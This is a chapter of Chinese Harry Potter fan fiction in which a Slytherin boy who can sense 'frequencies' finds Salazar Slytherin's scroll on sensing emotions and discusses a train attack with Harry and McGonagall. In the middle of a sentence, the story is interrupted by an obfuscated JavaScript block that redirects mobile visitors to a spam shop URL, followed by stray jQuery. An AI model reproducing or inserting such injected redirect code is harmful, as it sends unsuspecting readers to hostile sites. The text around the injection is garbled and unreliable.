他们下一节课是魔法史,在四楼的一间教室。
宾斯教授是个幽灵——真的幽灵,半透明,飘浮在讲台上方,用单调的声音讲述妖精叛乱的日期和细节。
大多数学生在打瞌睡,包括阿不思,他的头一点点下垂。
但艾登睡不着。
他在观察宾斯教授。
在频率感知中,幽灵不是实体的振动,而是一种……回声。
一种强烈的情绪或记忆留下的印记,在时空中重复播放。
宾斯教授的频率是稳定的、重复的,像一张被划伤的唱片,永远播放同一段旋律。
更有趣的是教室本身。
这里曾经是战场——不是流血的战场,是知识的战场。
艾登能“看见”旧时学生留下的频率印记:无聊的涂鸦、偷偷传递的纸条、打瞌睡时流的口水。这些微小的情绪积累在墙壁里,像一层薄薄的灰尘。
然后他感觉到了别的东西。
在教室后墙,黑板旁边的位置,有一个频率异常点。不是幽灵,不是情绪印记,是某种更实质的东西——一个魔法物品,被隐藏得很好,但在他的感知中像黑暗中的烛火一样明显。
他等到宾斯教授转身在黑板上写日期(字迹直接穿过黑板,飘在空中),悄悄离开座位,走到教室后面。其他学生都在打瞌睡或发呆,没人注意他。
那面墙看起来普通,挂着霍格沃茨历任校长的画像复制品。
但艾登能感觉到,在戈德里克·格兰芬多的画像后面,有东西。
他轻轻推开画像(画像里的格兰芬多不满地嘟囔,但没阻止)。
后面是普通的石墙,但有一块石头颜色略深,边缘有几乎看不见的缝隙。
短-长-短-短-长。
他按佩妮的节奏敲击。
石头滑开,露出一个小壁龛。
里面有一个小木盒,盖子上刻着蛇形图案——和地窖密室门上的图案一样。
艾登打开盒子。
里面不是珠宝,不是金币,而是一卷羊皮纸,用黑色丝带捆着。
羊皮纸很旧,边缘发脆,但保存得很好。
他展开它,文字是熟悉的曲线和点——萨拉查的文字。
但这次有翻译,用更现代的英文写在旁边,笔迹纤细工整:
观察者进阶练习:情感频率
万物有频率,情感尤甚。快乐明亮而轻快,悲伤低沉而缓慢,愤怒尖锐而炽热。
观者不仅能见物体之频率,亦能见情感之频率。
练习一:识别
观察他人,勿用眼,用心。
感知其情感之颜色与振动。
初始可专注于明显情感:大笑者之快乐,哭泣者之悲伤。
熟练后可感知细微情感:掩饰之恐惧,压抑之愤怒。
练习二:屏蔽
过度感知将致负担。
学习屏蔽无关频率,如闭耳不听杂音。
专注一物,屏蔽他物。此技需练习,否则将淹没于他人情感之海。
练习三:共鸣(警告:极端危险)
勿轻易尝试。
与一物或一人之频率达成共鸣,短暂成为其一部分。
可理解其本质,然风险巨大:
可能迷失自我,可能带走他人情感残留,可能被反噬。
情感频率如双刃剑。
善用可助人,恶用可伤人。斯莱特林曾用此技编织恐惧,控制人心。
我悔之。
故留此卷于显眼之处,望后裔得之,用于光明。
——S.S.
下面还有一行小字,笔迹不同,更潦草:
我试过共鸣。
我听见了城堡的哭泣。不要重蹈覆辙。——P.I.
P.I.
佩妮·伊万斯。
艾登的手指拂过那些字母。他奶奶来过这里,找到这个盒子,读过这些文字,尝试过共鸣。而且她留下了警告。
“德思礼先生?”
艾登猛地转身,把羊皮纸塞进长袍。
宾斯教授飘在他面前,半透明的脸上露出困惑的表情。
“你在那里做什么?”
“我……东西掉了,”艾登说,指着地板,“羽毛笔。”
宾斯教授眯起眼睛(如果幽灵能眯眼的话):“在我的课堂上,学生应该专注于历史,而不是在地上找东西。回到座位,否则我要扣分了。”
“是,教授。”
艾登回到座位,心跳如鼓。
他把羊皮纸小心地折好,塞进长袍内袋。他能感觉到它在那里,像一小块温暖的炭火。
下课时,雨果打着哈欠醒来:“梅林啊,我以为他要讲到天荒地老。为什么魔法史不能有点……我不知道,决斗?叛变?戏剧性的事?”
“因为历史本身就是戏剧,”塞缪尔从旁边经过,抱着她那本厚书,“只是演员都死了,只剩旁白在念台词。”
她向艾登微笑:“魔咒课上很厉害嘛。天生的?”
“运气好,”艾登说。
“运气也是天赋的一种,”塞缪尔说,“拉文克劳休息室有个说法:没有偶然,只有未识之必然。”
她走了,书页在空气中留下墨水和旧纸的气味。
午餐时,艾登几乎没碰食物。他太专注于感知周围的情感频率了。
按照羊皮纸上的练习,他开始尝试“识别”。
最初是混乱的噪音——整个餐厅上千人的情感像一场交响乐,但所有乐器都在胡乱演奏。
快乐、焦虑、无聊、兴奋、嫉妒、爱慕,全部混在一起,震耳欲聋。
他必须屏蔽。
像羊皮纸上说的,闭上眼睛(真正的眼睛和感知的“眼睛”)。
他想象一堵墙,只让一种频率通过。
他选择阿不思。
一开始很难。阿不思坐在他旁边,安静地吃着蛋糕,但他的情感频率复杂得像一团乱麻:表面是平静,下面是焦虑的颤动,更深层是……孤独。一种深刻的、根植于名字和血脉的孤独。艾登能“看见”孤独的颜色:不是黑色,是一种深绿色,像湖底的水草。
“你还好吗?”阿不思突然问。
艾登睁开眼睛(他都没意识到自己闭上了):“什么?”
“你在发呆。而且你的手在抖。”
艾登低头看自己的手。确实在轻微颤抖,像刚提过重物。感知情感频率比感知物体更耗费精力。
“我没事,”他说,“只是在想事情。”
下午是草药课,在温室。
斯普劳特教授是个矮胖的女巫,戴着补过的帽子,手上满是泥土。她教他们如何给曼德拉草换盆——那些小植物看起来像难看的婴儿,哭声能让人昏迷。
“耳罩!”斯普劳特教授喊道,“戴上耳罩!除非你想睡到圣诞节!”
艾登戴上厚重的耳罩,世界变得模糊。但他仍然能“看见”曼德拉草的频率——它们是一种尖锐、刺耳的振动,像持续的尖叫。当他触碰花盆时,能感觉到植物恐惧的脉动。
“它们害怕,”他脱口而出,然后意识到没人能听见他说话。
但斯普劳特教授注意到了他的口型。她示意他摘下一只耳罩。
“你说什么,亲爱的?”
“它们害怕,”艾登重复,“曼德拉草。被拔出来的时候,它们很害怕。”
斯普劳特教授的眼睛在眼镜后面睁大了:“你能感觉到?”
艾登犹豫了,但点点头。
教授盯着他看了几秒,然后说:“十五年前,有个学生也能感觉到植物的情绪。她后来成了杰出的草药学家,在亚马逊研究魔法植物群落。戴好耳罩,德思礼先生。课后留下,我想和你谈谈。”
换盆过程混乱而吵闹。
即使戴着耳罩,曼德拉草的哭声仍然穿透,让人头晕。艾登成功完成了任务,他的曼德拉草似乎比其他人的稍微安静一点——也许是因为他动作更轻柔,也许是因为植物感觉到了他的感知。
课后,其他学生离开后,斯普劳特教授把艾登叫到温室角落,那里种着一种巨大的、会打瞌睡的花。
“这种天赋很罕见,”教授说,用沾满泥土的手拍拍他的肩,“植物感知。有些巫师能和动物交流,更少的能和植物交流。但你要小心,德思礼先生。”
“小心什么?”
“共情疲劳,”教授严肃地说,“如果你能感觉到它们的恐惧,那么每一次伤害植物——即使是必要的,比如收割药用部分——都会在你身上留下痕迹。那个去亚马逊的学生,最后不得不退休,因为她再也无法忍受听见植物被砍伐的‘尖叫’。”
艾登想起羊皮纸上的警告。
“我该怎么控制它?”他问。
“边界,”斯普劳特教授说,“设立清晰的边界。告诉自己:‘我能感知,但我不必承担。’否则你会被压垮。魔法部神秘事务司有一个部门叫‘感知者支援中心’,但他们通常只接收成年巫师。如果你需要帮助,随时来找我。”
她给了艾登一小袋种子:“安宁草。种在你的床头,它能吸收负面情绪,让你睡得更好。算是……预防措施。”
艾登接过种子袋,感觉那些微小种子的频率——平静、舒缓,像温柔的摇篮曲。
离开温室时,天已经暗了。城堡亮起灯火,窗户里透出温暖的光。
艾登走在回地窖的路上,手里攥着种子袋,内袋里藏着羊皮纸,脑子里塞满了新知识:魔咒的频率,幽灵的回声,植物的情绪,还有无处不在的情感噪音。
在楼梯转角,他遇到了哈利。
哈利不是一个人。他和麦格教授站在一起,低声交谈,表情严肃。看见艾登,他停下来。
“艾登,”哈利说,勉强微笑,“第一天怎么样?”
“很好,先生。”
“这位是米勒娃·麦格,我们的新任校长,”哈利介绍。
麦格教授向艾登点头,表情依然严肃:“德思礼先生。我听说你在魔咒课上的表现。弗立维教授很受触动。”
“只是运气好,”艾登说,但麦格教授锐利的目光让他知道她不信。
“我们正在讨论列车袭击的事,”哈利说,声音压低,“魔法部认为是偶然事件,缄默人很少出现在那么靠南的地方。但我不确定。你们在车上时,注意到什么异常吗?除了那些……东西。”
艾登想了想:“车停之前,我感觉到铁轨上有个东西。一个护身符,保护性的。它在创造
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033036|194565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平静的区域,缄默人无法进入。”
哈利和麦格教授交换了一个眼神。
“你能感觉到护身符?”麦格教授问。
“某种程度上。”
“什么样的护身符?”
“银色的,很小,埋在枕木之间。它发出……稳定的频率。和缄默人的混乱频率相反。”
哈利的表情变得深思:“魔法部在现场什么也没找到。但如果你感觉到了,那说明有人提前放置了保护。有人知道袭击会发生。”
“或者有人制造了袭击,然后放置保护,为了看起来像英雄,”麦格教授冷冷地说。
“我们需要检查所有学生和教职工的背景,”哈利说,“尤其是新来的。”
“包括我?”艾登问。
哈利看着他,绿色眼睛在走廊的火把光中显得很深:“包括所有人。但尤其是你,艾登。你的天赋……很罕见。罕见的东西往往被盯上。”
“我该怎么做?”
“正常上课,学习,交朋友,”哈利说,“但要保持警惕。如果感觉到什么异常——任何异常——立即告诉教授,或者直接找我。”
他拍拍艾登的肩,和麦格教授一起离开了,长袍在身后飘动。
艾登继续走向地窖,但脚步沉重。哈利的话在他脑海中回响:罕见的东西往往被盯上。
回到斯莱特林公共休息室时,大部分学生都在做作业或聊天。壁炉里的绿色火焰跳动,在水下窗户上投下诡异的影子。
艾登找到阿不思,他坐在角落的沙发里,读着一本《初级变形术指南》。
“哈利找你了?”阿不思头也不抬地问。
“你怎么知道?”
“级长们传开了。说波特司长在调查列车袭击,询问所有新生。”
艾登坐下,感觉疲惫如潮水般涌来。一天的信息量太大了:魔咒课的成功,魔法史的发现,草药课的警告,还有哈利的提醒。
“我需要练习,”他低声说,更像是自言自语。
“练习什么?”
艾登没有回答。他从内袋抽出那卷羊皮纸,展开。在绿色炉火的光中,萨拉查的文字和佩妮的注释显得更加神秘。
“那是什么?”阿不思放下书。
“萨拉查·斯莱特林留下的。关于观察者的进阶练习。”
阿不思凑近看,眼镜反射着炉火:“情感频率……共鸣……这很危险,艾登。”
“我知道。但我需要学会控制。今天在餐厅,我差点被情感噪音淹没。斯普劳特教授说如果我不设立边界,会得共情疲劳。”
“那就设立边界。别做危险的部分。”
艾登看着羊皮纸上佩妮的笔迹:我听见了城堡的哭泣。
他的奶奶尝试过共鸣。她听见了城堡的哭泣。什么样的哭泣?为什么哭泣?
“就今晚一次,”他说,“我想试试识别。只是识别,不是共鸣。我需要知道我能做到什么程度。”
阿不思看着他,然后叹气:“好吧。但我要在旁边。如果你看起来不对劲,我就打断你。”
他们等到深夜。宿舍里其他人都睡着后,艾登拿出石板和羊皮纸。
他按照指示,先尝试识别斯科皮的情感频率——因为他睡得最沉。
他闭上眼睛,屏蔽其他噪音,专注于斯科皮。
起初只有睡眠的平静频率,缓慢、深沉。但往下挖掘,艾登感知到更多:焦虑的细丝,像水下的暗流。对父亲期望的压力。对家族名声的负担。还有一种更深的情感——对植物的真正热爱,纯粹的、不受家族约束的热爱。
然后他尝试雨果:简单的快乐,对魔法世界的新奇感,想证明自己的轻微压力(因为是韦斯莱家的孩子,但魔法天赋平平)。
西奥多·布莱克:傲慢的表层下是恐惧,害怕达不到纯血统的标准,害怕让家族失望。
最后是阿不思:复杂的层次。表层的平静,下面的焦虑,再下面的孤独,最深层的……一种决心。不是想成为英雄的决心,是想找到自己的路的决心,想证明自己不仅仅是“哈利·波特的儿子”的决心。
艾登睁开眼睛,大汗淋漓。感知他人的内心像打开水坝,情感汹涌而来,几乎将他淹没。
“怎么样?”阿不思低声问。
“累,”艾登诚实地说,“但……我做到了。我能分辨。”
“那就够了。今晚到此为止。”
艾登点头,收起石板和羊皮纸。但在他躺下前,他做了最后一件事:他拿出斯普劳特教授给的安宁草种子,撒了一点在床头的地板上。
几乎立刻,一种平静的频率弥漫开来,像温柔的毯子包裹住他。情感的噪音退去,留下平静的寂静。
他睡着了,没有做梦。
但在睡眠的最深处,在他意识无法触及的地方,城堡的低语继续着。不是哭泣,是某种更古老、更缓慢的东西,像石头生长,像地基沉降。
而在地窖更深的地方,在那间只有观察者能进入的密室里,石台上的书自动翻过一页。新的一页上,只有一行字,墨迹新鲜,像刚刚写成:
他开始了。
窗外,黑湖深处,那只乌贼用触手碰了碰玻璃,然后游向更深的黑暗,消失在连发光鱼群都不敢涉足的水域。